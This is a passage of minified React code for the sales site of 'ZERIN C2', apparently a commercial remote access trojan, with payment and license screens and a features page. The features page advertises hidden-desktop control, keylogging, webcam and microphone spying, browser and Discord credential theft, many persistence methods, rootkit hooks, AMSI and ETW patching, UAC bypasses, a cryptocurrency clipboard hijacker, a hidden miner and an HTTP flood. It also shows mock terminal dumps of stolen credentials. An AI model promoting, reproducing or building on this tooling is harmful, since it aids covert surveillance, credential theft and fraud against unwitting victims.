infinite"}})}),s.jsx("p",{className:"text-[11px] font-mono text-zerin-text-muted/40 mt-2 text-center",children:"This page auto-refreshes every 5 seconds"})]}),t.license_key&&s.jsxs("div",{className:"space-y-3",children:[s.jsx("div",{className:"h-[1px] bg-gradient-to-r from-transparent via-emerald-500/30 to-transparent"}),s.jsx("div",{className:"font-mono text-[10px] tracking-[0.2em] text-emerald-400/60 uppercase text-center",children:"Your License Key"}),s.jsx("div",{className:"flex items-center gap-2",children:s.jsx("code",{className:"flex-1 block p-3 text-[11px] font-mono bg-[#04040a] border border-emerald-500/20 text-emerald-400 break-all select-all text-center leading-relaxed",children:t.license_key})}),s.jsx("button",{onClick:u,className:"w-full py-2 text-xs font-mono border border-[#1a1a22] text-zerin-text-dim hover:border-zerin-accent/30 hover:text-zerin-text transition-all duration-300",children:a?"Copied!":"Copy Key"}),s.jsxs("p",{className:"text-[10px] text-amber-400/60 text-center font-mono",children:["Save this key — use it to register at"," ",s.jsx(dt,{to:"/register",className:"underline hover:text-amber-400",children:"/register"})]})]}),(t.status==="failed"||t.status==="expired")&&s.jsxs("div",{className:"text-center space-y-3",children:[s.jsx("div",{className:"h-[1px] bg-gradient-to-r from-transparent via-red-500/20 to-transparent"}),s.jsx("p",{className:"text-[13px] text-red-400/70",children:t.status==="expired"?"This payment has expired. Please create a new one.":"Payment failed. Please try again."}),s.jsx(dt,{to:"/#pricing",className:"inline-block border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-6 py-2 transition-all duration-300",children:"Try Again"})]})]})]}):s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-5 h-5 border-2 border-zerin-accent/30 border-t-zerin-accent rounded-full animate-spin mx-auto mb-4"}),s.jsx("p",{className:"text-zerin-text-muted text-sm font-mono",children:"Loading payment..."})]})})})]})}const Mi=[{id:"remote",label:"Remote Operations",tag:"RMT",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"m6.75 7.5 3 2.25-3 2.25m4.5 0h3m-9 8.25h13.5A2.25 2.25 0 0 0 21 18V6a2.25 2.25 0 0 0-2.25-2.25H5.25A2.25 2.25 0 0 0 3 6v12a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Full interactive control over target systems with multiple access channels.",features:[{name:"Interactive Shell",desc:"CMD and PowerShell execution with full stdout/stderr capture",detail:"Hidden process, configurable timeout, pipe-based I/O"},{name:"PowerShell Engine",desc:"Base64-encoded command execution bypassing argument restrictions",detail:"UTF-16LE encoded commands via -EncodedCommand"},{name:"VNC Remote Desktop",desc:"Real-time interactive desktop session over WebSocket",detail:"Low-latency streaming, keyboard + mouse control"},{name:"Hidden VNC (hVNC)",desc:"Invisible desktop session on a separate virtual desktop",detail:"User sees nothing — operator has full GUI access"},{name:"File Operations",desc:"Upload, download, delete, encrypt, and browse the target filesystem",detail:"Directory listing, file transfer, in-place encryption"},{name:"Process Management",desc:"List running processes, terminate by PID, spawn new processes",detail:"Full process enumeration with details"}],terminal:{title:"zerin :: remote-ops",lines:["$ session --connect agent-7f3a","[*] Session established — latency 42ms","$ shell whoami"," DESKTOP-PC\\Administrator","$ hvnc --start --desktop zerin_hidden"," [+] Hidden desktop created"," [+] Explorer.exe spawned on hidden desktop",' [+] VNC streaming — <span class="text-emerald-400">active</span>']}},{id:"surveillance",label:"Surveillance",tag:"SRV",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"m15.75 10.5 4.72-4.72a.75.75 0 0 1 1.28.53v11.38a.75.75 0 0 1-1.28.53l-4.72-4.72M4.5 18.75h9a2.25 2.25 0 0 0 2.25-2.25v-9a2.25 2.25 0 0 0-2.25-2.25h-9A2.25 2.25 0 0 0 2.25 7.5v9a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Real-time visual and audio monitoring of target environments.",features:[{name:"GDI Screen Capture",desc:"Standard BitBlt-based screenshot capture returning raw BMP",detail:"Lightweight, compatible with all Windows versions"},{name:"DXGI Desktop Duplication",desc:"GPU-accelerated capture using DirectX for high-fidelity screenshots",detail:"Dirty-rect tiling, works even when GDI is blocked by EDR"},{name:"Webcam Access",desc:"Enumerate and stream from capture devices in real-time",detail:"Device selection, live feed to dashboard"},{name:"Microphone Recording",desc:"Capture live audio from the target microphone",detail:"Streaming audio to operator dashboard"},{name:"Input Monitoring",desc:"Keystroke capture with application context per window",detail:"Logs organized by active window title"}]},{id:"credentials",label:"Credential Auditing",tag:"CRD",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M15.75 5.25a3 3 0 0 1 3 3m3 0a6 6 0 0 1-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1 1 21.75 8.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Extract and validate stored credentials across browsers and applications.",features:[{name:"Chromium Browsers",desc:"Chrome, Edge, Brave, Opera, Vivaldi — passwords, cookies, tokens",detail:"DPAPI master key decryption, AES-256-GCM v80+ support"},{name:"Firefox",desc:"Decrypt saved logins from logins.json and key4.db",detail:"NSS credential store decryption"},{name:"Wi-Fi Profiles",desc:"Extract saved wireless network passwords",detail:"All stored PSK passphrases via profile export"},{name:"Windows Credential Manager",desc:"DPAPI-protected vault entries and stored credentials",detail:"Full credential enumeration"},{name:"Discord Tokens",desc:"Scan LevelDB stores for Discord stable, Canary, and PTB",detail:"Token extraction from .ldb and .log files"},{name:"Application Credentials",desc:"Telegram, FileZilla, WinSCP, PuTTY, Outlook sessions",detail:"Session data, saved passwords, stored configs"}],terminal:{title:"zerin :: cred-audit",lines:["$ creds --all --format json"," [*] Scanning credential stores..."," [+] Chrome: 47 saved passwords"," [+] Edge: 12 saved passwords"," [+] Firefox: 8 saved logins"," [+] WiFi: 5 stored profiles"," [+] Discord: 2 tokens found"," [+] WinSCP: 3 saved sessions",' [<span class="text-emerald-400">✓</span>] Export complete — 77 credentials']}},{id:"persistence",label:"Persistence Engine",tag:"PST",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M19.5 12c0-1.232-.046-2.453-.138-3.662a4.006 4.006 0 0 0-3.7-3.7 48.678 48.678 0 0 0-7.324 0 4.006 4.006 0 0 0-3.7 3.7c-.017.22-.032.441-.046.662M19.5 12l3-3m-3 3-3-3m-12 3c0 1.232.046 2.453.138 3.662a4.006 4.006 0 0 0 3.7 3.7 48.656 48.656 0 0 0 7.324 0 4.006 4.006 0 0 0 3.7-3.7c.017-.22.032-.441.046-.662M4.5 12l3 3m-3-3-3 3",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"13 persistence mechanisms covering user-level and elevated techniques.",features:[{name:"Registry Run Key",desc:"HKCU\\...\\Run — survives reboot, no elevation required"},{name:"Scheduled Task",desc:"Recurring schtask with configurable interval and name"},{name:"Windows Service",desc:"AUTO_START service via Service Control Manager (requires elevation)"},{name:"Startup Folder",desc:"Drop to current-user Startup directory — simple, reliable"},{name:"Logon Script",desc:"UserInitMprLogonScript environment variable hijack"},{name:"Screensaver Hijack",desc:"SCRNSAVE.EXE registry replacement — triggers on idle"},{name:"IFEO Debugger",desc:"Image File Execution Options debugger redirect (requires elevation)"},{name:"BITS Job",desc:"Background Intelligent Transfer Service notification command"},{name:"COM Object Hijack",desc:"CLSID InProcServer32 hijack — loaded by Explorer on login"},{name:"DLL Search Order",desc:"Plant DLL in application directory for search order hijack"},{name:"WMI Subscription",desc:"FilterToConsumerBinding with CommandLineEventConsumer"},{name:"Port Monitor",desc:"Print spooler monitor DLL — loaded by spoolsv.exe (requires elevation)"},{name:"Security Support Provider",desc:"LSA Security Packages registry — loaded by LSASS on boot"}]},{id:"evasion",label:"Evasion Engine",tag:"EVA",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M3.98 8.223A10.477 10.477 0 0 0 1.934 12c1.292 4.338 5.31 7.5 10.066 7.5.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 10.45 0 0 1 12 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 0 1-4.293 5.774M6.228 6.228 3 3m3.228 3.228 3.65 3.65m7.894 7.894L21 21m-3.228-3.228-3.65-3.65m0 0a3 3 0 1 0-4.243-4.243m4.242 4.242L9.88 9.88",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Multi-layered defense evasion — static, runtime, and in-memory techniques.",features:[{name:"Rootkit (11 Hooks)",desc:"Reflective DLL with inline hooks for process, file, registry, network, and service concealment",detail:"MinHook-based: NtQuerySystemInformation, NtQueryDirectoryFile, NtEnumerateKey, NtDeviceIoControlFile, and more"},{name:"AMSI Bypass",desc:"Patches AmsiOpenSession at runtime — all AMSI scans silently fail",detail:"XOR-constructed patch bytes avoid static signatures"},{name:"ETW Patching",desc:"Patches EtwEventWrite with xor eax,eax; ret — blinds EDR telemetry",detail:"Applied in own process + all injected processes"},{name:"Sleep Obfuscation",desc:"Ekko-style: XOR-encrypts .text section during beacon sleep intervals",detail:"Timer-queue based encryption/decryption cycle"},{name:"Indirect Syscalls",desc:"Extracts SSNs from ntdll, uses syscall;ret gadgets — bypasses userland hooks",detail:"NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx, and more"},{name:"ntdll Unhooking",desc:"Restores ntdll .text from clean KnownDlls mapping — removes EDR hooks",detail:"NtOpenSection/NtMapViewOfSection — no file I/O"},{name:"Polymorphic Engine",desc:"Every build produces unique machine code — no two agents share the same hash",detail:"Junk code generation, function randomization, unique keys per build"},{name:"Encrypted Strings",desc:"All strings ChaCha20-encrypted per-build, decrypted on stack at runtime",detail:"Wiped after use — zero plaintext in memory at rest"},{name:"IAT Dilution",desc:"Benign Windows APIs forced into import table to mimic legitimate software",detail:"Clean import profile — no suspicious API imports visible"},{name:"Dynamic API Resolution",desc:"PEB walk + FNV1a hash lookup — sensitive APIs never appear in IAT",detail:"RESOLVE_API macro for all Nt* and injection APIs"},{name:"Kill Protection",desc:"Strips terminate/suspend rights from OpenProcess calls targeting agent PID",detail:"Blocks Task Manager, taskkill, Process Explorer"},{name:"Child Process Injection",desc:"NtResumeThread hook auto-injects rootkit into every new child process",detail:"Shared memory ring buffer IPC for near-instant propagation"}],terminal:{title:"zerin :: evasion-status",lines:["$ evasion --status",' AMSI Bypass ........... <span class="text-emerald-400">active</span>',' ETW Patching .......... <span class="text-emerald-400">active</span>',' Sleep Obfuscation ..... <span class="text-emerald-400">active</span>',' Indirect Syscalls ..... <span class="text-emerald-400">active</span>',' ntdll Unhooked ........ <span class="text-emerald-400">clean</span>',' Rootkit Hooks ......... <span class="text-emerald-400">11/11</span>',' Kill Protection ....... <span class="text-emerald-400">active</span>',' Injected Processes .... <span class="text-cyan-400">34</span>']}},{id:"network",label:"Network Operations",tag:"NET",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M7.5 21 3 16.5m0 0L7.5 12M3 16.5h13.5m0-13.5L21 7.5m0 0L16.5 12M21 7.5H7.5",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Pivot into internal networks and route traffic through compromised hosts.",features:[{name:"SOCKS5 Reverse Proxy",desc:"Full SOCKS5 proxy tunneled through the agent over WebSocket",detail:"256 concurrent channels, binary framing, auto-reconnect"},{name:"Internal Pivoting",desc:"Route operator tools through the agent to reach internal hosts",detail:"Access segmented networks, internal services, lateral movement"},{name:"Port Hiding",desc:"Rootkit filters agent connections from netstat and TCPView",detail:"NtDeviceIoControlFile hook on NSI device — IPv4 and IPv6"}]},{id:"recon",label:"Reconnaissance",tag:"RCN",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"m21 21-5.197-5.197m0 0A7.5 7.5 0 1 0 5.196 5.196a7.5 7.5 0 0 0 10.607 10.607Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Comprehensive target profiling and environment enumeration.",features:[{name:"System Info",desc:"OS version, build, architecture, hostname, domain, uptime"},{name:"Hardware Specs",desc:"CPU model, RAM capacity, GPU, disk information"},{name:"Network Interfaces",desc:"Adapters, IP addresses, MAC addresses, gateway info"},{name:"Active Connections",desc:"TCP/UDP connections, listening ports — like netstat"},{name:"Environment Variables",desc:"Full environment variable enumeration"},{name:"Registry Access",desc:"Read and write arbitrary registry keys and values"},{name:"Installed Applications",desc:"Software list from Add/Remove Programs"},{name:"Window Enumeration",desc:"Visible top-level windows with titles and owning PIDs"}]},{id:"privesc",label:"Privilege Escalation",tag:"ESC",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M4.5 10.5 12 3m0 0 7.5 7.5M12 3v18",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Silent UAC bypass techniques for automatic privilege elevation.",features:[{name:"Fodhelper UAC Bypass",desc:"Registry hijack via ms-settings shell command — auto-elevates without prompt",detail:"Works on Windows 10/11, cleans up registry keys after execution"},{name:"CMSTPLUA COM Elevation",desc:"CoGetObject elevation moniker to obtain ICMLuaUtil interface",detail:"ShellExec via COM — works Windows 7 through 11"},{name:"Forced UAC Fallback",desc:"ShellExecuteEx with runas verb if silent methods fail",detail:"Automatic fallback chain — tries silent first, prompts only as last resort"},{name:"Auto-Elevation on Launch",desc:"Automatic silent UAC bypass attempt on agent startup",detail:"Seamless — agent elevates itself without operator interaction"}],terminal:{title:"zerin :: priv-esc",lines:["$ elevate --auto"," [*] Current: Medium Integrity"," [*] Trying Fodhelper bypass..."," [+] Registry hijack set"," [+] fodhelper.exe launched"," [+] Elevated session spawned"," [*] Registry cleaned up",' [<span class="text-emerald-400">✓</span>] Now running as <span class="text-cyan-400">High Integrity</span>']}},{id:"c2",label:"C2 Infrastructure",tag:"C2I",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M16.5 10.5V6.75a4.5 4.5 0 1 0-9 0v3.75m-.75 11.25h10.5a2.25 2.25 0 0 0 2.25-2.25v-6.75a2.25 2.25 0 0 0-2.25-2.25H6.75a2.25 2.25 0 0 0-2.25 2.25v6.75a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Military-grade encrypted communications and payload delivery.",features:[{name:"ChaCha20-Poly1305",desc:"AEAD encryption for all C2 traffic — zero plaintext on the wire",detail:"Per-session keys, authenticated encryption"},{name:"X25519 Key Exchange",desc:"Elliptic curve Diffie-Hellman for forward-secret key negotiation",detail:"Ephemeral keys — compromise of one session doesn't affect others"},{name:"TLS 1.3 Transport",desc:"Industry-standard transport security wrapping the encrypted C2 channel",detail:"Double encryption — TLS outer layer + ChaCha20 inner layer"},{name:"Payload Builder",desc:"On-demand payload generation with configurable parameters",detail:"Callback URL, sleep interval, jitter, user-agent, output format (EXE/DLL)"},{name:"Stager / Stage 0",desc:"Lightweight loader — downloads, decrypts, and reflectively loads the full agent",detail:"XOR-encrypted payload, no disk artifacts, in-memory PE loading"},{name:"Crypter",desc:"Server-side runtime packing engine for additional evasion",detail:"Polymorphic + metamorphic generation, unique structure per build"}]},{id:"extras",label:"Extended Modules",tag:"EXT",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M3.75 6A2.25 2.25 0 0 1 6 3.75h2.25A2.25 2.25 0 0 1 10.5 6v2.25a2.25 2.25 0 0 1-2.25 2.25H6a2.25 2.25 0 0 1-2.25-2.25V6ZM3.75 15.75A2.25 2.25 0 0 1 6 13.5h2.25a2.25 2.25 0 0 1 2.25 2.25V18a2.25 2.25 0 0 1-2.25 2.25H6A2.25 2.25 0 0 1 3.75 18v-2.25ZM13.5 6a2.25 2.25 0 0 1 2.25-2.25H18A2.25 2.25 0 0 1 20.25 6v2.25A2.25 2.25 0 0 1 18 10.5h-2.25a2.25 2.25 0 0 1-2.25-2.25V6ZM13.5 15.75a2.25 2.25 0 0 1 2.25-2.25H18a2.25 2.25 0 0 1 2.25 2.25V18A2.25 2.25 0 0 1 18 20.25h-2.25a2.25 2.25 0 0 1-2.25-2.25v-2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Additional operator modules for disruption, crypto operations, and stress testing.",features:[{name:"Troll Module",desc:"MessageBox, text-to-speech, wallpaper change, taskbar hide, CD eject, mouse/keyboard lock, black screen, DNS reroute",detail:"12 disruption commands for operator interaction"},{name:"Crypto Clipper",desc:"Clipboard monitoring for 9 cryptocurrencies — BTC, ETH, LTC, XMR, DOGE, SOL, XRP, TRX, BNB",detail:"Format-aware pattern matching (Base58, Bech32, hex), operator wallet replacement"},{name:"Miner Management",desc:"XMRig lifecycle control — deploy, configure pool/wallet, start/stop, monitor hashrate",detail:"IDLE priority, configurable CPU throttle, HTTP API stats"},{name:"HTTP Flood",desc:"Layer 7 stress testing — up to 64 threads with randomized User-Agent rotation",detail:"Configurable duration, method (GET/POST/HEAD), auto-stop watchdog"},{name:"Power Control",desc:"Restart or shutdown the target system remotely"},{name:"Agent Uninstall",desc:"Clean removal — strips persistence entries and self-deletes"}]}];function KS(e=.15){const t=p.useRef(null),[n,r]=p.useState(!1);return p.useEffect(()=>{const i=t.current;if(!i)return;const a=new IntersectionObserver(([o])=>{o.isIntersecting&&(r(!0),a.disconnect())},{threshold:e});return a.observe(i),()=>a.disconnect()},[e]),{ref:t,visible:n}}const bV=p.memo(function(){const t=p.useRef(null);return p.useEffect(()=>{const n=t.current;if(!n)return;const r=n.getContext("2d",{alpha:!0});let i,a=0,o=0;const l=1e3/30,c=256,u=new Array(c);for(let b=0;b<c;b++){const w=b/c*.07;u[b]=`rgba(6,182,212,${w.toFixed(4)})`}const d=60;let f=0,m=0,h=0,x=0,g;function y(){n.width=window.innerWidth,n.height=window.innerHeight,f=Math.ceil(n.width/d)+1,m=Math.ceil(n.height/d)+1,h=n.width/2,x=n.height/2,g=new Float32Array(m*f);for(let b=0;b<m;b++)for(let w=0;w<f;w++){const j=w*d-h,k=b*d-x;g[b*f+w]=Math.sqrt(j*j+k*k)*.005}}y(),window.addEventListener("resize",y);function v(b){if(i=requestAnimationFrame(v),b-o<l)return;o=b,a+=.003*(l/16.67);const w=n.width,j=n.height;r.clearRect(0,0,w,j);const k=Math.PI*2;let S=0;for(let N=0;N<m;N++){const z=N*d;for(let _=0;_<f;_++){const O=(Math.sin(g[S++]-a)*.5+.5)*c|0;r.fillStyle=u[O<c?O:c-1],r.beginPath(),r.arc(_*d,z,1,0,k),r.fill()}}}return i=requestAnimationFrame(v),()=>{cancelAnimationFrame(i),window.removeEventListener("resize",y)}},[]),s.jsx("canvas",{ref:t,className:"fixed inset-0 pointer-events-none",style:{zIndex:0}})});function M2({text:e,base:t}){const n=[];let r=0;const i=/<span class="(text-[^"]+)">([^<]*)<\/span>/g;let a=0,o;for(;(o=i.exec(e))!==null;)o.index>a&&n.push(s.jsx("span",{className:t,children:e.slice(a,o.index)},r++)),n.push(s.jsx("span",{className:o[1],children:o[2]},r++)),a=i.lastIndex;return a<e.length&&n.push(s.jsx("span",{className:t,children:e.slice(a)},r++)),s.jsx(s.Fragment,{children:n})}function wV({title:e,lines:t}){const{ref:n,visible:r}=KS(.2);return s.jsxs("div",{ref:n,className:`border border-[#1a1a22] bg-[#06060b] transition-all duration-700 ${r?"opacity-100 translate-y-0":"opacity-0 translate-y-4"}`,children:[s.jsxs("div",{className:"flex items-center gap-2 px-4 py-3 border-b border-[#1a1a22]",children:[s.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-red-500/60"}),s.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-yellow-500/40"}),s.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-green-500/40"}),s.jsx("span",{className:"ml-3 font-mono text-[11px] text-zerin-text-muted/50",children:e})]}),s.jsx("div",{className:"p-5 font-mono text-[12px] leading-[1.9] space-y-0.5",children:t.map((i,a)=>s.jsx("div",{className:`transition-all duration-500 ${r?"opacity-100":"opacity-0"}`,style:{transitionDelay:r?`${a*80}ms`:"0ms"},children:i.startsWith("$")?s.jsxs(s.Fragment,{children:[s.jsx("span",{className:"text-zerin-accent",children:"$"}),s.jsx("span",{className:"ml-2",children:s.jsx(M2,{text:i.slice(1),base:"text-zerin-text-dim"})})]}):s.jsx("span",{className:"pl-4",children:s.jsx(M2,{text:i,base:"text-zerin-text-muted/60"})})},a))})]})}const jV=p.memo(function({feat:t,delay:n,visible:r}){const[i,a]=p.useState(!1);return s.jsx("div",{className:`group border border-[#1a1a22] bg-[#08080c]/60 hover:border-zerin-accent/20 transition-all duration-500 ${r?"opacity-100 translate-y-0":"opacity-0 translate-y-3"}`,style:{transitionDelay:r?`${n}ms`:"0ms"},children:s.jsxs("button",{onClick:()=>t.detail&&a(!i),className:"w-full text-left px-5 py-4 flex items-start gap-4",children:[s.jsx("div",{className:"flex-shrink-0 mt-0.5 w-1.5 h-1.5 rounded-full bg-zerin-accent/50 group-hover:bg-zerin-accent transition-colors"}),s.jsxs("div",{className:"flex-1 min-w-0",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("h4",{className:"font-display text-[14px] font-semibold text-zerin-text group-hover:text-zerin-accent transition-colors duration-300",children:t.name}),t.detail&&s.jsx("svg",{className:`w-3 h-3 text-zerin-text-muted/40 transition-transform duration-200 ${i?"rotate-180":""}`,viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"m19.5 8.25-7.5 7.5-7.5-7.5"})})]}),s.jsx("p",{className:"font-mono text-[12px] text-zerin-text-muted leading-relaxed mt-0.5",children:t.desc}),t.detail&&i&&s.jsx("p",{className:"font-mono text-[11px] text-zerin-accent/60 leading-relaxed mt-2 pl-0 border-l-2 border-zerin-accent/20 ml-0 pl-3",children:t.detail})]})]})})});function kV({cat:e,index:t}){const{ref:n,visible:r}=KS(.1);return s.jsxs("section",{ref:n,id:e.id,className:"scroll-mt-24",children:[s.jsxs("div",{className:`flex items-center gap-4 mb-6 transition-all duration-700 ${r?"opacity-100 translate-x-0":"opacity-0 -translate-x-4"}`,children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent/40",children:String(t+1).padStart(2,"0")}),s.jsx("div",{className:"w-8 h-8 border border-zerin-accent/20 bg-zerin-accent/5 flex items-center justify-center text-zerin-accent/70",children:e.icon})]}),s.jsxs("div",{children:[s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("h2",{className:"font-display font-bold text-xl text-zerin-text tracking-tight",children:e.label}),s.jsx("span",{className:"font-mono text-[9px] tracking-[0.15em] border border-zerin-accent/20 text-zerin-accent/50 px-1.5 py-0.5 leading-none",children:e.tag})]}),s.jsx("p",{className:"font-mono text-[12px] text-zerin-text-muted mt-0.5",children:e.lead})]})]}),s.jsxs("div",{className:`grid gap-[1px] ${e.terminal?"lg:grid-cols-[1fr_380px]":""} gap-6`,children:[s.jsx("div",{className:"space-y-[1px]",children:e.features.map((i,a)=>s.jsx(jV,{feat:i,delay:a*50,visible:r},i.name))}),e.terminal&&s.jsx("div",{className:"hidden lg:block",children:s.jsx("div",{className:"sticky top-24",children:s.jsx(wV,{title:e.terminal.title,lines:e.terminal.lines})})})]})]})}function NV({activeId:e}){return s.jsx("nav",{className:"hidden xl:block fixed left-6 top-1/2 -translate-y-1/2 z-40",children:s.jsx("div",{className:"flex flex-col gap-1",children:Mi.map(t=>s.jsxs("a",{href:`#${t.id}`,className:`group flex items-center gap-2 py-1 transition-all duration-300 ${e===t.id?"opacity-100":"opacity-30 hover:opacity-60"}`,children:[s.jsx("div",{className:`h-[2px] transition-all duration-300 ${e===t.id?"w-6 bg-zerin-accent":"w-3 bg-zerin-text-muted/40 group-hover:w-4 group-hover:bg-zerin-text-muted/60"}`}),s.jsx("span",{className:"font-mono text-[9px] tracking-[0.15em] text-zerin-text-muted uppercase",children:t.tag})]},t.id))})})}function Zl({value:e,label:t,suffix:n=""}){return s.jsxs("div",{className:"text-center",children:[s.jsxs("div",{className:"font-mono text-3xl md:text-4xl font-bold text-zerin-accent tabular-nums",children:[e,n]}),s.jsx("div",{className:"text-zerin-text-muted text-[10px] mt-1.5 uppercase tracking-[0.2em] font-mono",children:t})]})}function SV(){const[e,t]=p.useState(!1),[n,r]=p.useState(Mi[0].id);p.useEffect(()=>{const o=()=>t(window.scrollY>20);return window.addEventListener("scroll",o),()=>window.removeEventListener("scroll",o)},[]),p.useEffect(()=>{const o=new IntersectionObserver(c=>{for(const u of c)u.isIntersecting&&r(u.target.id)},{rootMargin:"-30% 0px -60% 0px"});return Mi.map(c=>document.getElementById(c.id)).filter(Boolean).forEach(c=>o.observe(c)),()=>o.disconnect()},[]);const i=p.useCallback(()=>{window.scrollTo({top:0,behavior:"smooth"})},[]),a=Mi.reduce((o,l)=>o+l.features.length,0);return s.jsxs("div",{className:"relative min-h-screen bg-[#04040a] text-zerin-text overflow-x-hidden overflow-y-auto",children:[s.jsx(bV,{}),s.jsx("div",{className:"fixed top-0 left-1/2 -translate-x-1/2 w-[1000px] h-[600px] pointer-events-none",style:{background:"radial-gradient(ellipse at center, rgba(6,182,212,0.03) 0%, transparent 70%)",zIndex:0}}),s.jsx("nav",{className:`fixed top-0 left-0 right-0 z-50 transition-all duration-300 ${e?"bg-[#04040a]/80 backdrop-blur-xl border-b border-[#1a1a22]":"bg-transparent"}`,children:s.jsxs("div",{className:"max-w-6xl mx-auto px-6 h-16 flex items-center justify-between",children:[s.jsx("div",{className:"flex items-center gap-3",children:s.jsxs(dt,{to:"/",className:"flex items-center gap-3 hover:opacity-80 transition-opacity",children:[s.jsx("span",{className:"font-display font-bold text-lg tracking-tight text-zerin-text",children:"ZERIN"}),s.jsx("span",{className:"text-[9px] font-mono tracking-[0.15em] border border-zerin-accent/25 text-zerin-accent/70 px-1.5 py-0.5 leading-none",children:"C2"})]})}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(dt,{to:"/features",className:"text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Features"}),s.jsx("a",{href:"/#pricing",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Pricing"}),s.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5 flex items-center gap-1.5",children:[s.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 24 24",fill:"currentColor",children:s.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),s.jsx(dt,{to:"/login",className:"text-zerin-text-dim hover:text-zerin-text text-sm font-mono transition-colors px-3 py-1.5",children:"Login"}),s.jsx(dt,{to:"/register",className:"bg-zerin-accent/10 border border-zerin-accent/25 hover:border-zerin-accent/50 hover:bg-zerin-accent/15 text-zerin-accent text-sm font-mono px-4 py-1.5 transition-all duration-300",children:"Register"})]})]})}),s.jsx(NV,{activeId:n}),s.jsxs("section",{className:"relative z-10 pt-32 pb-16 px-6 text-center",children:[s.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Platform Capabilities"}),s.jsxs("h1",{className:"font-display font-bold text-4xl sm:text-5xl md:text-6xl tracking-tight mt-4 mb-5",children:["Full Spectrum"," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent via-cyan-300 to-zerin-accent bg-clip-text text-transparent",children:"Red Team Toolkit"})]}),s.jsxs("p",{className:"max-w-2xl mx-auto text-zerin-text-muted/80 text-[15px] leading-relaxed font-mono",children:[a," capabilities across ",Mi.length," modules — from initial 